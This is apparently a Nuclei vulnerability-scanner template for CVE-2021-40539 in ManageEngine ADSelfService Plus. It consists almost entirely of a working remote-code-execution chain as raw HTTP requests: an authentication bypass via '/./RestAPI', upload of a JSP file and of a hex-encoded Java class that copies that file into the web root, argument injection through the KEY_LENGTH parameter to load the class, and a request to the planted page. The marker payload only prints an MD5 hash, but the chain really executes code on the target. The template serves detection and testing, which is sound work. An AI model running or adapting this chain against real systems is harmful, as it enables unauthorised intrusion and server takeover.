nuclei-templates/cves/2021/CVE-2021-40539.yaml

id: CVE-2021-40539

info:
  name: ManageEngine ADSelfService Plus version 6113 Unauthenticated RCE
  author: daffainfo,pdteam
  severity: critical
  description: ManageEngine ADSelfService Plus version 6113 and prior are vulnerable to a REST API authentication bypass which leads to remote code execution.
  remediation: Upgrade to ADSelfService Plus build 6114.
  reference:
    - https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis
    - https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40539
    - https://github.com/synacktiv/CVE-2021-40539
  tags: cve,cve2021,rce,ad,intrusive,manageengine
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-40539
    cwe-id: CWE-287

requests:

  - raw:
      - |
        POST /./RestAPI/LogonCustomization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=8b1ab266c41afb773af2e064bc526458

        --8b1ab266c41afb773af2e064bc526458
        Content-Disposition: form-data; name="methodToCall"

        unspecified
        --8b1ab266c41afb773af2e064bc526458
        Content-Disposition: form-data; name="Save"

        yes
        --8b1ab266c41afb773af2e064bc526458
        Content-Disposition: form-data; name="form"

        smartcard
        --8b1ab266c41afb773af2e064bc526458
        Content-Disposition: form-data; name="operation"

        Add
        --8b1ab266c41afb773af2e064bc526458
        Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"

        <%@ page import="java.util.*,java.io.*"%>
        <%@ page import="java.security.MessageDigest"%>
        <%
        String cve = "CVE-2021-40539";
        MessageDigest alg = MessageDigest.getInstance("MD5");
        alg.reset();
        alg.update(cve.getBytes());
        byte[] digest = alg.digest();
        StringBuffer hashedpasswd = new StringBuffer();
        String hx;
        for (int i=0;i<digest.length;i++){
          hx =  Integer.toHexString(0xFF & digest[i]);
          if(hx.length() == 1){hx = "0" + hx;}
          hashedpasswd.append(hx);
        }
        out.println(hashedpasswd.toString());
        %>
        --8b1ab266c41afb773af2e064bc526458--

      - |
        POST /./RestAPI/LogonCustomization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=43992a07d9a30213782780204a9f032b

        --43992a07d9a30213782780204a9f032b
        Content-Disposition: form-data; name="methodToCall"

        unspecified
        --43992a07d9a30213782780204a9f032b
        Content-Disposition: form-data; name="Save"

        yes
        --43992a07d9a30213782780204a9f032b
        Content-Disposition: form-data; name="form"

        smartcard
        --43992a07d9a30213782780204a9f032b
        Content-Disposition: form-data; name="operation"

        Add
        --43992a07d9a30213782780204a9f032b
        Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="Si.class"

        {{hex_decode('CAFEBABE0000003400280D0A000C00160D0A0017001807001908001A08001B08001C08001D08001E0D0A0017001F0700200700210700220100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D0A537461636B4D61705461626C6507002001000D0A536F7572636546696C6501000753692E6A6176610C000D0A000E0700230C002400250100106A6176612F6C616E672F537472696E67010003636D640100022F63010004636F707901000677732E6A737001002A2E2E5C776562617070735C61647373705C68656C705C61646D696E2D67756964655C746573742E6A73700C002600270100136A6176612F696F2F494F457863657074696F6E01000253690100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000D0A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0021000B000C0000000000020001000D0A000E0001000F0000001D00010001000000052AB70001B10000000100100000000600010000000200080011000E0001000F00000064000500020000002BB800024B2A08BD000359031204535904120553590512065359061207535907120853B600094CA700044BB10001000000260029000D0A00020010000000120004000000050004000600260007002A00080012000000070002690700130000010014000000020015')}}
        --43992a07d9a30213782780204a9f032b--

      - |
        POST /./RestAPI/Connection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+%22..%5Cbin%22

      - |
        GET /help/admin-guide/test.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "114f7ce498a54a1be1de1f1e5731d0ea"  # MD5 of CVE-2021-40539

      - type: status
        status:
          - 200